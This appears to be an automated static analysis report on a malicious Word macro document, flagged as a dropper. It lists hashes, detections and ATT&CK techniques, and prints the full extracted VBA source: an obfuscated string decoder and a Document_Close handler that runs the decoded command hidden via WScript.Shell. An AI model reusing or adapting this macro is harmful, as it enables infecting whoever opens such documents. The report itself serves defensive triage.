Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 cfd3c017a7e9a7a1…

MALICIOUS

Office (OOXML)

36.3 KB Created: 2017-05-22 22:37:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2019-01-20
MD5: 0cacb65ec9da1de3c40dc0415e3ebc12 SHA-1: 0d2002f4b7132a675ed7513d8a076a621539b466 SHA-256: cfd3c017a7e9a7a1a1e47a60bdbfde167899caae9da81e5854994a851d9927f4
184 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an OOXML document containing VBA macros. The macros utilize WScript.Shell to execute a command, indicated by the `CreateObject("WScript.Shell").Run sinusoide, vbHide * 4` call. The `Document_Close` subroutine appears to deobfuscate a string and pass it to the `malumore` function for execution, suggesting it downloads and runs a second-stage payload. The ClamAV detection `Doc.Dropper.Agent-6385871-0` further supports its malicious nature as a dropper.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6385871-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6385871-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
      If Len(sinusoide) < 4774 Then
        CreateObject("WScript.Shell").Run sinusoide, vbHide * 4
      End If
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
      If Len(sinusoide) < 4774 Then
        CreateObject("WScript.Shell").Run sinusoide, vbHide * 4
      End If
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2641 bytes
SHA-256: 8864dbe24d4ed02085ed8b2268a391a62e78370b6b0f2e57a05a0a5be8ef6b2f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function mogio(avere As Integer) As String
 orrendo = Array("?", "+", "g", "m", "F", ":", "(", "-", "S", "i", "$", ",", "k", "d", ";", "J", "/", "D", "A", "s", "q", "W", "t", "e", "o", "b", "'", "C", "P", "w", "r", ")", "z", " ", "p", "y", "T", ".", "x", "Y", "E", "\", "v", "u", "n", "B", "a", "c", "N", "j", "O", "=", "h", "l")
 Dim damerino As Integer
 
 For damerino = LBound(orrendo) To UBound(orrendo)
   If damerino = avere Then
    mogio = orrendo(damerino)
   End If
 Next
 
End Function


Public Function malumore(sinusoide As String)
  If Len(sinusoide) < 4774 Then
    CreateObject("WScript.Shell").Run sinusoide, vbHide * 4
  End If
End Function

Sub Document_Close()
 feralo = penisola("34242923301952235353330748244038092233074038234733453534461919330727240303464413330648232907502549234722330835192223033748232237212325275309234422313717242944532446130409532306265222223405161624131220290913492029442549222543201344234437472403160808161324443753320326113310234442051828281718361833013326412823295039150225213723382326311433082246302207283024472319193310234442051828281718361826412823295039150225213723382326143306482329075025492347223308351922230337482322372123252753092344223137172429445324461308223009440206265222223405161624131220290913492029442549222543201344234437472403161937345234000913511324442631")
 Application.Run "malumore", feralo
End Sub

Function ammasso(ByVal topazio, ByVal recinto) As String
 
 microbo = vbNullString
 amuleto = Array(topazio, recinto)
 
 For acido = 0 To UBound(amuleto)
   microbo = microbo + vbNullString + amuleto(acido) + vbNullString
 Next
 
 ammasso = microbo
End Function

Function penisola(Optional volpe As String, Optional volpe2)
  riso = zappato(Trim(volpe))
  duna = ""

  For damerino = 0 To Len(volpe)
    If (damerino + 1) <= UBound(riso) Then
    occhio = riso(damerino + 1)
    replica = riso(damerino)
    modello = mogio(Int(riso(damerino) + occhio))
    duna = ammasso(duna, modello)
    damerino = damerino + 1
    End If
  Next
  
  penisola = duna
End Function


Function zappato(lampo As String, Optional svagare As Integer) As Variant
    zappato = Split(Left(StrConv(lampo, vbUnicode), Len(StrConv(lampo, vbUnicode)) - 1), vbNullChar)
End Function

Attribute VB_Name = "Module1"

Attribute VB_Name = "Module2"
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14848 bytes
SHA-256: b8792e7fec5addc47cabc62b3fd07a3e3137d6e59a601501c8f60b6e518a1770
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).